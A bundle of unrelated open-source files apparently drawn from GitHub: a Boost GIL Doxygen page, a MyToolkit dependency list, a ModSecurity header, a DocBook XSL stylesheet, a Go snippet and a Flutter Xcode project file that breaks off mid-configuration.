class="title">CopyConstructible&lt; T &gt; Struct Template Reference<div class="ingroups"><a class="el" href="group___basic_concepts.html">Basic Concepts</a></div></div> </div> </div><!--header--> <div class="contents"> <p><code>#include &lt;<a class="el" href="concepts_8hpp_source.html">concepts.hpp</a>&gt;</code></p> <table class="memberdecls"> <tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="pub-methods"></a> Public Member Functions</h2></td></tr> <tr class="memitem:ab0a0dbf6ca9028bbbb2240cad5882537"><td class="memItemLeft" align="right" valign="top"><a class="anchor" id="ab0a0dbf6ca9028bbbb2240cad5882537"></a> void&#160;</td><td class="memItemRight" valign="bottom"><b>constraints</b> ()</td></tr> <tr class="separator:ab0a0dbf6ca9028bbbb2240cad5882537"><td class="memSeparator" colspan="2">&#160;</td></tr> </table> <a name="details" id="details"></a><h2 class="groupheader">Detailed Description</h2> <div class="textblock"><h3>template&lt;typename T&gt;<br/> struct boost::gil::CopyConstructible&lt; T &gt;</h3> <p>concept CopyConstructible&lt;typename T&gt; { T::T(T); T::~T(); }; </p> </div><hr/>The documentation for this struct was generated from the following file:<ul> <li><a class="el" href="concepts_8hpp_source.html">concepts.hpp</a></li> </ul> </div><!-- contents --> <!-- HTML footer for doxygen 1.8.13--> <!-- start footer part --> <hr class="footer"/> <address class="footer"> <small> Generated on Wed Dec 5 2018 20:05:50 for Generic Image Library by &#160;<a href="http://www.doxygen.org/index.html">doxygen</a> 1.8.6 </small> </address> </body> </html>
{ "pile_set_name": "Github" }
MyToolkit (PCL for W8.1, WP8.1, WP8SL, .NET45) MyToolkit.Legacy (PCL for SL5, WP7SL) - Microsoft.Bcl.Async MyToolkit.Http (PCL for W8.1, WP8.1, WP8SL, .NET45) - Microsoft.Net.Http MyToolkit.Http.Legacy (PCL for SL5, WP7SL) - Microsoft.Net.Http - Microsoft.Bcl.Async MyToolkit.Extended.Wpf45 (.NET45) MyToolkit.Extended.WinRT (PCL for W8.1, WP8.1) - MyToolkit MyToolkit.Extended.Sl5 (SL5) - MyToolkit.Legacy - (Microsoft.Bcl.Async) => from MyToolkit.Legacy MyToolkit.Extended.Wp8 (WP8SL) - MyToolkit - WPtoolkit MyToolkit.Extended.Wp7 (WP7SL) - MyToolkit.Legacy - WPtoolkit - (Microsoft.Bcl.Async) => from MyToolkit MyToolkit.Extended.Wpf40 (.NET40), very limited library - AsyncBridge MyToolkit.MachineLearning.WinRT (PCL for W8.1, WP8.1) - MyToolkit
{ "pile_set_name": "Github" }
/* * ModSecurity, http://www.modsecurity.org/ * Copyright (c) 2015 - 2020 Trustwave Holdings, Inc. (http://www.trustwave.com/) * * You may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * If any of the files related to licensing are missing or if you have any * other questions related to licensing please contact Trustwave Holdings, Inc. * directly using the email address [email protected]. * */ #include <iostream> #include <string> #include <vector> #include <list> #include <utility> #ifndef SRC_VARIABLES_RESPONSE_CONTENT_TYPE_H_ #define SRC_VARIABLES_RESPONSE_CONTENT_TYPE_H_ #include "src/variables/variable.h" namespace modsecurity { class Transaction; namespace variables { DEFINE_VARIABLE(ResponseContentType, RESPONSE_CONTENT_TYPE, m_variableResponseContentType) } // namespace variables } // namespace modsecurity #endif // SRC_VARIABLES_RESPONSE_CONTENT_TYPE_H_
{ "pile_set_name": "Github" }
#import <UIKit/UIKit.h> FOUNDATION_EXPORT double GCBUtilitiesVersionNumber; FOUNDATION_EXPORT const unsigned char GCBUtilitiesVersionString[];
{ "pile_set_name": "Github" }
<?xml version='1.0'?> <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:doc="http://nwalsh.com/xsl/documentation/1.0" xmlns:exsl="http://exslt.org/common" exclude-result-prefixes="doc exsl" version='1.0'> <!-- ******************************************************************** $Id: targets.xsl 8366 2009-03-21 07:49:16Z bobstayton $ ******************************************************************** This file is part of the XSL DocBook Stylesheet distribution. See ../README or http://docbook.sf.net/release/xsl/current/ for copyright and other information. ******************************************************************** --> <!-- ==================================================================== --> <!-- cross reference target collection --> <doc:mode mode="collect.targets" xmlns=""> <refpurpose>Collects information for potential cross reference targets</refpurpose> <refdescription id="collect.targets-desc"> <para>Processing the root element in the <literal role="mode">collect.targets</literal> mode produces a set of target database elements that can be used by the olink mechanism to resolve external cross references. The collection process is controlled by the <literal> collect.xref.targets</literal> parameter, which can be <literal>yes</literal> to collect targets and process the document for output, <literal>only</literal> to only collect the targets, and <literal>no</literal> (default) to not collect the targets and only process the document. </para> <para> A <literal>targets.filename</literal> parameter must be specified to receive the output if <literal>collect.xref.targets</literal> is set to <literal>yes</literal> so as to redirect the target data to a file separate from the document output. </para> </refdescription> </doc:mode> <!-- ============================================================ --> <xsl:template match="*" mode="collect.targets"> <xsl:choose> <xsl:when test="$collect.xref.targets = 'yes' and $targets.filename = ''"> <xsl:message> Must specify a $targets.filename parameter when $collect.xref.targets is set to 'yes'. The xref targets were not collected. </xsl:message> </xsl:when> <xsl:otherwise> <xsl:choose> <xsl:when test="$targets.filename"> <xsl:call-template name="write.chunk"> <xsl:with-param name="filename" select="$targets.filename"/> <xsl:with-param name="method" select="'xml'"/> <xsl:with-param name="encoding" select="'utf-8'"/> <xsl:with-param name="omit-xml-declaration" select="'yes'"/> <xsl:with-param name="doctype-public" select="''"/> <xsl:with-param name="doctype-system" select="''"/> <xsl:with-param name="indent" select="'no'"/> <xsl:with-param name="quiet" select="0"/> <xsl:with-param name="content"> <xsl:apply-templates select="." mode="olink.mode"/> </xsl:with-param> </xsl:call-template> </xsl:when> <xsl:otherwise> <!-- Else write to standard output --> <xsl:apply-templates select="." mode="olink.mode"/> </xsl:otherwise> </xsl:choose> </xsl:otherwise> </xsl:choose> </xsl:template> <xsl:template name="olink.href.target"> <xsl:param name="nd" select="."/> <xsl:value-of select="$olink.base.uri"/> <xsl:call-template name="href.target"> <xsl:with-param name="object" select="$nd"/> <xsl:with-param name="context" select="NOTANODE"/> </xsl:call-template> </xsl:template> <!-- Templates for extracting cross reference information from a document for use in an xref database. --> <xsl:template name="attrs"> <xsl:param name="nd" select="."/> <xsl:attribute name="element"> <xsl:value-of select="local-name(.)"/> </xsl:attribute> <xsl:attribute name="href"> <xsl:call-template name="olink.href.target"> <xsl:with-param name="nd" select="$nd"/> </xsl:call-template> </xsl:attribute> <xsl:variable name="num"> <xsl:apply-templates select="$nd" mode="label.markup"> <xsl:with-param name="verbose" select="0"/> </xsl:apply-templates> </xsl:variable> <xsl:if test="$num"> <xsl:attribute name="number"> <xsl:value-of select="$num"/> </xsl:attribute> </xsl:if> <xsl:choose> <xsl:when test="$nd/@id"> <xsl:attribute name="targetptr"> <xsl:value-of select="$nd/@id"/> </xsl:attribute> </xsl:when> <xsl:when test="$nd/@xml:id"> <xsl:attribute name="targetptr"> <xsl:value-of select="$nd/@xml:id"/> </xsl:attribute> </xsl:when> </xsl:choose> <xsl:if test="$nd/@lang"> <xsl:attribute name="lang"> <xsl:value-of select="$nd/@lang"/> </xsl:attribute> </xsl:if> </xsl:template> <xsl:template name="div"> <xsl:param name="nd" select="."/> <div> <xsl:call-template name="attrs"> <xsl:with-param name="nd" select="$nd"/> </xsl:call-template> <ttl> <xsl:apply-templates select="$nd" mode="title.markup"> <xsl:with-param name="verbose" select="0"/> </xsl:apply-templates> </ttl> <xreftext> <xsl:choose> <xsl:when test="$nd/@xreflabel"> <xsl:call-template name="xref.xreflabel"> <xsl:with-param name="target" select="$nd"/> </xsl:call-template> </xsl:when> <xsl:otherwise> <xsl:apply-templates select="$nd" mode="xref-to"> <xsl:with-param name="verbose" select="0"/> </xsl:apply-templates> </xsl:otherwise> </xsl:choose> </xreftext> <xsl:apply-templates mode="olink.mode"/> </div> </xsl:template> <xsl:template name="obj"> <xsl:param name="nd" select="."/> <obj> <xsl:call-template name="attrs"> <xsl:with-param name="nd" select="$nd"/> </xsl:call-template> <ttl> <xsl:apply-templates select="$nd" mode="title.markup"> <xsl:with-param name="verbose" select="0"/> </xsl:apply-templates> </ttl> <xreftext> <xsl:choose> <xsl:when test="$nd/@xreflabel"> <xsl:call-template name="xref.xreflabel"> <xsl:with-param name="target" select="$nd"/> </xsl:call-template> </xsl:when> <xsl:otherwise> <xsl:apply-templates select="$nd" mode="xref-to"> <xsl:with-param name="verbose" select="0"/> </xsl:apply-templates> </xsl:otherwise> </xsl:choose> </xreftext> </obj> </xsl:template> <xsl:template match="text()|processing-instruction()|comment()" mode="olink.mode"> <!-- nop --> </xsl:template> <!-- <xsl:template match="*" mode="olink.mode"> </xsl:template> --> <xsl:template match="set" mode="olink.mode"> <xsl:call-template name="div"/> </xsl:template> <xsl:template match="book" mode="olink.mode"> <xsl:call-template name="div"/> </xsl:template> <xsl:template match="preface|chapter|appendix" mode="olink.mode"> <xsl:call-template name="div"/> </xsl:template> <xsl:template match="part|reference" mode="olink.mode"> <xsl:call-template name="div"/> </xsl:template> <xsl:template match="article" mode="olink.mode"> <xsl:call-template name="div"/> </xsl:template> <xsl:template match="bibliography|bibliodiv" mode="olink.mode"> <xsl:call-template name="div"/> </xsl:template> <xsl:template match="biblioentry|bibliomixed" mode="olink.mode"> <xsl:call-template name="obj"/> </xsl:template> <xsl:template match="refentry" mode="olink.mode"> <xsl:call-template name="div"/> </xsl:template> <xsl:template match="section|sect1|sect2|sect3|sect4|sect5" mode="olink.mode"> <xsl:call-template name="div"/> </xsl:template> <xsl:template match="refsection|refsect1|refsect2|refsect3" mode="olink.mode"> <xsl:call-template name="div"/> </xsl:template> <xsl:template match="figure|example|table" mode="olink.mode"> <xsl:call-template name="obj"/> <xsl:apply-templates mode="olink.mode"/> </xsl:template> <xsl:template match="equation[title or info/title]" mode="olink.mode"> <xsl:call-template name="obj"/> </xsl:template> <xsl:template match="qandaset|qandaentry" mode="olink.mode"> <xsl:call-template name="div"/> </xsl:template> <!-- handle an glossary collection --> <xsl:template match="glossary[@role='auto']" mode="olink.mode" priority="2"> <xsl:variable name="collection" select="document($glossary.collection, .)"/> <xsl:if test="$glossary.collection = ''"> <xsl:message> <xsl:text>Warning: processing automatic glossary </xsl:text> <xsl:text>without a glossary.collection file.</xsl:text> </xsl:message> </xsl:if> <xsl:if test="not($collection) and $glossary.collection != ''"> <xsl:message> <xsl:text>Warning: processing automatic glossary but unable to </xsl:text> <xsl:text>open glossary.collection file '</xsl:text> <xsl:value-of select="$glossary.collection"/> <xsl:text>'</xsl:text> </xsl:message> </xsl:if> <xsl:if test="$exsl.node.set.available != 0"> <xsl:variable name="auto.glossary"> <xsl:apply-templates select="." mode="assemble.auto.glossary"/> </xsl:variable> <xsl:variable name="auto.glossary.nodeset" select="exsl:node-set($auto.glossary)"/> <xsl:apply-templates select="$auto.glossary.nodeset/*" mode="olink.mode"/> </xsl:if> </xsl:template> <!-- construct a glossary in memory --> <xsl:template match="glossary" mode="assemble.auto.glossary"> <xsl:copy> <xsl:copy-of select="@*[not(local-name() = 'role')]"/> <xsl:apply-templates select="node()" mode="assemble.auto.glossary"/> <xsl:call-template name="select.glossentries"/> </xsl:copy> </xsl:template> <xsl:template name="select.glossentries"> <xsl:param name="collection" select="document($glossary.collection, .)"/> <xsl:param name="terms" select="//glossterm[not(parent::glossdef)]|//firstterm"/> <xsl:for-each select="$collection//glossentry"> <xsl:variable name="cterm" select="glossterm"/> <xsl:if test="$terms[@baseform = $cterm or . = $cterm]"> <xsl:copy-of select="."/> </xsl:if> </xsl:for-each> </xsl:template> <xsl:template match="glossentry" mode="assemble.auto.glossary"> <!-- skip the dummy entries --> </xsl:template> <xsl:template match="*" mode="assemble.auto.glossary"> <!-- pass through any titles and intro stuff --> <xsl:copy-of select="."/> </xsl:template> <xsl:template match="*" mode="olink.mode"> <xsl:if test="@id or @xml:id"> <xsl:call-template name="obj"/> </xsl:if> <xsl:apply-templates mode="olink.mode"/> </xsl:template> </xsl:stylesheet>
{ "pile_set_name": "Github" }
// +build go1.7 package aws import "context" var ( backgroundCtx = context.Background() )
{ "pile_set_name": "Github" }
// !$*UTF8*$! { archiveVersion = 1; classes = { }; objectVersion = 46; objects = { /* Begin PBXBuildFile section */ 1498D2341E8E89220040F4C2 /* GeneratedPluginRegistrant.m in Sources */ = {isa = PBXBuildFile; fileRef = 1498D2331E8E89220040F4C2 /* GeneratedPluginRegistrant.m */; }; 3B3967161E833CAA004F5970 /* AppFrameworkInfo.plist in Resources */ = {isa = PBXBuildFile; fileRef = 3B3967151E833CAA004F5970 /* AppFrameworkInfo.plist */; }; 3B80C3941E831B6300D905FE /* App.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 3B80C3931E831B6300D905FE /* App.framework */; }; 3B80C3951E831B6300D905FE /* App.framework in Embed Frameworks */ = {isa = PBXBuildFile; fileRef = 3B80C3931E831B6300D905FE /* App.framework */; settings = {ATTRIBUTES = (CodeSignOnCopy, RemoveHeadersOnCopy, ); }; }; 74858FAF1ED2DC5600515810 /* AppDelegate.swift in Sources */ = {isa = PBXBuildFile; fileRef = 74858FAE1ED2DC5600515810 /* AppDelegate.swift */; }; 9705A1C61CF904A100538489 /* Flutter.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 9740EEBA1CF902C7004384FC /* Flutter.framework */; }; 9705A1C71CF904A300538489 /* Flutter.framework in Embed Frameworks */ = {isa = PBXBuildFile; fileRef = 9740EEBA1CF902C7004384FC /* Flutter.framework */; settings = {ATTRIBUTES = (CodeSignOnCopy, RemoveHeadersOnCopy, ); }; }; 9740EEB41CF90195004384FC /* Debug.xcconfig in Resources */ = {isa = PBXBuildFile; fileRef = 9740EEB21CF90195004384FC /* Debug.xcconfig */; }; 97C146FC1CF9000F007C117D /* Main.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = 97C146FA1CF9000F007C117D /* Main.storyboard */; }; 97C146FE1CF9000F007C117D /* Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = 97C146FD1CF9000F007C117D /* Assets.xcassets */; }; 97C147011CF9000F007C117D /* LaunchScreen.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = 97C146FF1CF9000F007C117D /* LaunchScreen.storyboard */; }; /* End PBXBuildFile section */ /* Begin PBXCopyFilesBuildPhase section */ 9705A1C41CF9048500538489 /* Embed Frameworks */ = { isa = PBXCopyFilesBuildPhase; buildActionMask = 2147483647; dstPath = ""; dstSubfolderSpec = 10; files = ( 3B80C3951E831B6300D905FE /* App.framework in Embed Frameworks */, 9705A1C71CF904A300538489 /* Flutter.framework in Embed Frameworks */, ); name = "Embed Frameworks"; runOnlyForDeploymentPostprocessing = 0; }; /* End PBXCopyFilesBuildPhase section */ /* Begin PBXFileReference section */ 1498D2321E8E86230040F4C2 /* GeneratedPluginRegistrant.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GeneratedPluginRegistrant.h; sourceTree = "<group>"; }; 1498D2331E8E89220040F4C2 /* GeneratedPluginRegistrant.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = GeneratedPluginRegistrant.m; sourceTree = "<group>"; }; 3B3967151E833CAA004F5970 /* AppFrameworkInfo.plist */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = text.plist.xml; name = AppFrameworkInfo.plist; path = Flutter/AppFrameworkInfo.plist; sourceTree = "<group>"; }; 3B80C3931E831B6300D905FE /* App.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = App.framework; path = Flutter/App.framework; sourceTree = "<group>"; }; 74858FAD1ED2DC5600515810 /* Runner-Bridging-Header.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = "Runner-Bridging-Header.h"; sourceTree = "<group>"; }; 74858FAE1ED2DC5600515810 /* AppDelegate.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = AppDelegate.swift; sourceTree = "<group>"; }; 7AFA3C8E1D35360C0083082E /* Release.xcconfig */ = {isa = PBXFileReference; lastKnownFileType = text.xcconfig; name = Release.xcconfig; path = Flutter/Release.xcconfig; sourceTree = "<group>"; }; 9740EEB21CF90195004384FC /* Debug.xcconfig */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = text.xcconfig; name = Debug.xcconfig; path = Flutter/Debug.xcconfig; sourceTree = "<group>"; }; 9740EEB31CF90195004384FC /* Generated.xcconfig */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = text.xcconfig; name = Generated.xcconfig; path = Flutter/Generated.xcconfig; sourceTree = "<group>"; }; 9740EEBA1CF902C7004384FC /* Flutter.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = Flutter.framework; path = Flutter/Flutter.framework; sourceTree = "<group>"; }; 97C146EE1CF9000F007C117D /* Runner.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = Runner.app; sourceTree = BUILT_PRODUCTS_DIR; }; 97C146FB1CF9000F007C117D /* Base */ = {isa = PBXFileReference; lastKnownFileType = file.storyboard; name = Base; path = Base.lproj/Main.storyboard; sourceTree = "<group>"; }; 97C146FD1CF9000F007C117D /* Assets.xcassets */ = {isa = PBXFileReference; lastKnownFileType = folder.assetcatalog; path = Assets.xcassets; sourceTree = "<group>"; }; 97C147001CF9000F007C117D /* Base */ = {isa = PBXFileReference; lastKnownFileType = file.storyboard; name = Base; path = Base.lproj/LaunchScreen.storyboard; sourceTree = "<group>"; }; 97C147021CF9000F007C117D /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = "<group>"; }; /* End PBXFileReference section */ /* Begin PBXFrameworksBuildPhase section */ 97C146EB1CF9000F007C117D /* Frameworks */ = { isa = PBXFrameworksBuildPhase; buildActionMask = 2147483647; files = ( 9705A1C61CF904A100538489 /* Flutter.framework in Frameworks */, 3B80C3941E831B6300D905FE /* App.framework in Frameworks */, ); runOnlyForDeploymentPostprocessing = 0; }; /* End PBXFrameworksBuildPhase section */ /* Begin PBXGroup section */ 9740EEB11CF90186004384FC /* Flutter */ = { isa = PBXGroup; children = ( 3B80C3931E831B6300D905FE /* App.framework */, 3B3967151E833CAA004F5970 /* AppFrameworkInfo.plist */, 9740EEBA1CF902C7004384FC /* Flutter.framework */, 9740EEB21CF90195004384FC /* Debug.xcconfig */, 7AFA3C8E1D35360C0083082E /* Release.xcconfig */, 9740EEB31CF90195004384FC /* Generated.xcconfig */, ); name = Flutter; sourceTree = "<group>"; }; 97C146E51CF9000F007C117D = { isa = PBXGroup; children = ( 9740EEB11CF90186004384FC /* Flutter */, 97C146F01CF9000F007C117D /* Runner */, 97C146EF1CF9000F007C117D /* Products */, ); sourceTree = "<group>"; }; 97C146EF1CF9000F007C117D /* Products */ = { isa = PBXGroup; children = ( 97C146EE1CF9000F007C117D /* Runner.app */, ); name = Products; sourceTree = "<group>"; }; 97C146F01CF9000F007C117D /* Runner */ = { isa = PBXGroup; children = ( 97C146FA1CF9000F007C117D /* Main.storyboard */, 97C146FD1CF9000F007C117D /* Assets.xcassets */, 97C146FF1CF9000F007C117D /* LaunchScreen.storyboard */, 97C147021CF9000F007C117D /* Info.plist */, 97C146F11CF9000F007C117D /* Supporting Files */, 1498D2321E8E86230040F4C2 /* GeneratedPluginRegistrant.h */, 1498D2331E8E89220040F4C2 /* GeneratedPluginRegistrant.m */, 74858FAE1ED2DC5600515810 /* AppDelegate.swift */, 74858FAD1ED2DC5600515810 /* Runner-Bridging-Header.h */, ); path = Runner; sourceTree = "<group>"; }; 97C146F11CF9000F007C117D /* Supporting Files */ = { isa = PBXGroup; children = ( ); name = "Supporting Files"; sourceTree = "<group>"; }; /* End PBXGroup section */ /* Begin PBXNativeTarget section */ 97C146ED1CF9000F007C117D /* Runner */ = { isa = PBXNativeTarget; buildConfigurationList = 97C147051CF9000F007C117D /* Build configuration list for PBXNativeTarget "Runner" */; buildPhases = ( 9740EEB61CF901F6004384FC /* Run Script */, 97C146EA1CF9000F007C117D /* Sources */, 97C146EB1CF9000F007C117D /* Frameworks */, 97C146EC1CF9000F007C117D /* Resources */, 9705A1C41CF9048500538489 /* Embed Frameworks */, 3B06AD1E1E4923F5004D2608 /* Thin Binary */, ); buildRules = ( ); dependencies = ( ); name = Runner; productName = Runner; productReference = 97C146EE1CF9000F007C117D /* Runner.app */; productType = "com.apple.product-type.application"; }; /* End PBXNativeTarget section */ /* Begin PBXProject section */ 97C146E61CF9000F007C117D /* Project object */ = { isa = PBXProject; attributes = { LastUpgradeCheck = 1020; ORGANIZATIONNAME = "The Chromium Authors"; TargetAttributes = { 97C146ED1CF9000F007C117D = { CreatedOnToolsVersion = 7.3.1; LastSwiftMigration = 0910; }; }; }; buildConfigurationList = 97C146E91CF9000F007C117D /* Build configuration list for PBXProject "Runner" */; compatibilityVersion = "Xcode 3.2"; developmentRegion = en; hasScannedForEncodings = 0; knownRegions = ( en, Base, ); mainGroup = 97C146E51CF9000F007C117D; productRefGroup = 97C146EF1CF9000F007C117D /* Products */; projectDirPath = ""; projectRoot = ""; targets = ( 97C146ED1CF9000F007C117D /* Runner */, ); }; /* End PBXProject section */ /* Begin PBXResourcesBuildPhase section */ 97C146EC1CF9000F007C117D /* Resources */ = { isa = PBXResourcesBuildPhase; buildActionMask = 2147483647; files = ( 97C147011CF9000F007C117D /* LaunchScreen.storyboard in Resources */, 3B3967161E833CAA004F5970 /* AppFrameworkInfo.plist in Resources */, 9740EEB41CF90195004384FC /* Debug.xcconfig in Resources */, 97C146FE1CF9000F007C117D /* Assets.xcassets in Resources */, 97C146FC1CF9000F007C117D /* Main.storyboard in Resources */, ); runOnlyForDeploymentPostprocessing = 0; }; /* End PBXResourcesBuildPhase section */ /* Begin PBXShellScriptBuildPhase section */ 3B06AD1E1E4923F5004D2608 /* Thin Binary */ = { isa = PBXShellScriptBuildPhase; buildActionMask = 2147483647; files = ( ); inputPaths = ( ); name = "Thin Binary"; outputPaths = ( ); runOnlyForDeploymentPostprocessing = 0; shellPath = /bin/sh; shellScript = "/bin/sh \"$FLUTTER_ROOT/packages/flutter_tools/bin/xcode_backend.sh\" thin"; }; 9740EEB61CF901F6004384FC /* Run Script */ = { isa = PBXShellScriptBuildPhase; buildActionMask = 2147483647; files = ( ); inputPaths = ( ); name = "Run Script"; outputPaths = ( ); runOnlyForDeploymentPostprocessing = 0; shellPath = /bin/sh; shellScript = "/bin/sh \"$FLUTTER_ROOT/packages/flutter_tools/bin/xcode_backend.sh\" build"; }; /* End PBXShellScriptBuildPhase section */ /* Begin PBXSourcesBuildPhase section */ 97C146EA1CF9000F007C117D /* Sources */ = { isa = PBXSourcesBuildPhase; buildActionMask = 2147483647; files = ( 74858FAF1ED2DC5600515810 /* AppDelegate.swift in Sources */, 1498D2341E8E89220040F4C2 /* GeneratedPluginRegistrant.m in Sources */, ); runOnlyForDeploymentPostprocessing = 0; }; /* End PBXSourcesBuildPhase section */ /* Begin PBXVariantGroup section */ 97C146FA1CF9000F007C117D /* Main.storyboard */ = { isa = PBXVariantGroup; children = ( 97C146FB1CF9000F007C117D /* Base */, ); name = Main.storyboard; sourceTree = "<group>"; }; 97C146FF1CF9000F007C117D /* LaunchScreen.storyboard */ = { isa = PBXVariantGroup; children = ( 97C147001CF9000F007C117D /* Base */, ); name = LaunchScreen.storyboard; sourceTree = "<group>"; }; /* End PBXVariantGroup section */ /* Begin XCBuildConfiguration section */ 249021D3217E4FDB00AE95B9 /* Profile */ = { isa = XCBuildConfiguration; baseConfigurationReference = 7AFA3C8E1D35360C0083082E /* Release.xcconfig */; buildSettings = { ALWAYS_SEARCH_USER_PATHS = NO; CLANG_ANALYZER_NONNULL = YES; CLANG_CXX_LANGUAGE_STANDARD = "gnu++0x"; CLANG_CXX_LIBRARY = "libc++"; CLANG_ENABLE_MODULES = YES; CLANG_ENABLE_OBJC_ARC = YES; CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES; CLANG_WARN_BOOL_CONVERSION = YES; CLANG_WARN_COMMA = YES; CLANG_WARN_CONSTANT_CONVERSION = YES; CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES; CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR; CLANG_WARN_EMPTY_BODY = YES; CLANG_WARN_ENUM_CONVERSION = YES; CLANG_WARN_INFINITE_RECURSION = YES; CLANG_WARN_INT_CONVERSION = YES; CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES; CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES; CLANG_WARN_OBJC_LITERAL_CONVERSION = YES; CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR; CLANG_WARN_RANGE_LOOP_ANALYSIS = YES; CLANG_WARN_STRICT_PROTOTYPES = YES; CLANG_WARN_SUSPICIOUS_MOVE = YES; CLANG_WARN_UNREACHABLE_CODE = YES; CLANG_WARN__DUPLICATE_METHOD_MATCH = YES; "CODE_SIGN_IDENTITY[sdk=iphoneos*]" = "iPhone Developer"; COPY_PHASE_STRIP = NO; DEBUG_INFORMATION_FORMAT = "dwarf-with-dsym"; ENABLE_NS_ASSERTIONS = NO; ENABLE_STRICT_OBJC_MSGSEND = YES; GCC_C_LANGUAGE_STANDARD = gnu99; GCC_NO_COMMON_BLOCKS = YES; GCC_WARN_64_TO_32_BIT_CONVERSION = YES; GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR; GCC_WARN_UNDECLARED_SELECTOR = YES; GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE; GCC_WARN_UNUSED_FUNCTION = YES; GCC_WARN_UNUSED_VARIABLE = YES; IPHONEOS_DEPLOYMENT_TARGET = 8.0; MTL_ENABLE_DEBUG_INFO = NO; SDKROOT = iphoneos; TARGETED_DEVICE_FAMILY = "1,2"; VALIDATE_PRODUCT = YES; }; name = Profile; }; 249021D4217E4FDB00AE95B9 /* Profile */ = { isa = XCBuildConfiguration; baseConfigurationReference = 7AFA3C8E1D35360C0083082E /* Release.xcconfig */; buildSettings = { ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon; CLANG_ENABLE_MODULES = YES; CURRENT_PROJECT_VERSION = "$(FLUTTER_BUILD_NUMBER)"; ENABLE_BITCODE = NO; FRAMEWORK_SEARCH_PATHS = ( "$(inherited)", "$(PROJECT_DIR)/Flutter", ); INFOPLIST_FILE = Runner/Info.plist; LD_RUNPATH_SEARCH_PATHS = "$(inherited) @executable_path/Frameworks"; LIBRARY_SEARCH_PATHS = ( "$(inherited)", "$(PROJECT_DIR)/Flutter", ); PRODUCT_BUNDLE_IDENTIFIER = de.mariushoefler.iconGenerator; PRODUCT_NAME = "$(TARGET_NAME)"; SWIFT_OBJC_BRIDGING_HEADER = "Runner/Runner-Bridging-Header.h"; SWIFT_VERSION = 4.0; VERSIONING_SYSTEM = "apple-generic"; }; name = Profile; }; 97C147031CF9000F007C117D /* Debug */ = { isa = XCBuildConfiguration; baseConfigurationReference = 9740EEB21CF90195004384FC /* Debug.xcconfig */; buildSettings = { ALWAYS_SEARCH_USER_PATHS = NO; CLANG_ANALYZER_NONNULL = YES; CLANG_CXX_LANGUAGE_STANDARD = "gnu++0x"; CLANG_CXX_LIBRARY = "libc++"; CLANG_ENABLE_MODULES = YES; CLANG_ENABLE_OBJC_ARC = YES; CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES; CLANG_WARN_BOOL_CONVERSION = YES; CLANG_WARN_COMMA = YES; CLANG_WARN_CONSTANT_CONVERSION = YES; CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES; CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR; CLANG_WARN_EMPTY_BODY = YES; CLANG_WARN_ENUM_CONVERSION = YES; CLANG_WARN_INFINITE_RECURSION = YES; CLANG_WARN_INT_CONVERSION = YES; CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES; CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES; CLANG_WARN_OBJC_LITERAL_CONVERSION = YES; CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR; CLANG_WARN_RANGE_LOOP_ANALYSIS = YES; CLANG_WARN_STRICT_PROTOTYPES = YES; CLANG_WARN_SUSPICIOUS_MOVE = YES; CLANG_WARN_UNREACHABLE_CODE = YES; CLANG_WARN__DUPLICATE_METHOD_MATCH = YES; "CODE_SIGN_IDENTITY[sdk=iphoneos*]" = "iPhone Developer"; COPY_PHASE_STRIP = NO; DEBUG_INFORMATION_FORMAT = dwarf; ENABLE_STRICT_OBJC_MSGSEND = YES; ENABLE_TESTABILITY = YES; GCC_C_LANGUAGE_STANDARD = gnu99; GCC_DYNAMIC_NO_PIC = NO; GCC_NO_COMMON_BLOCKS = YES; GCC_OPTIMIZATION_LEVEL = 0; GCC_PREPROCESSOR_DEFINITIONS = ( "DEBUG=1", "$(inherited)", ); GCC_WARN_64_TO_32_BIT_CONVERSION = YES; GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR; GCC_WARN_UNDECLARED_SELECTOR = YES; GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE; GCC_WARN_UNUSED_FUNCTION = YES; GCC_WARN_UNUSED_VARIABLE = YES; IPHONEOS_DEPLOYMENT_TARGET = 8.0; MTL_ENABLE_DEBUG_INFO = YES; ONLY_ACTIVE_ARCH = YES; SDKROOT = iphoneos; TARGETED_DEVICE_FAMILY = "1,2"; }; name = Debug; }; 97C147041CF9000F007C117D /* Release */ = { isa = XCBuildConfiguration; baseConfigurationReference = 7AFA3C8E1D35360C0083082E /* Release.xcconfig */; buildSettings = { ALWAYS_SEARCH_USER_PATHS = NO; CLANG_ANALYZER_NONNULL = YES; 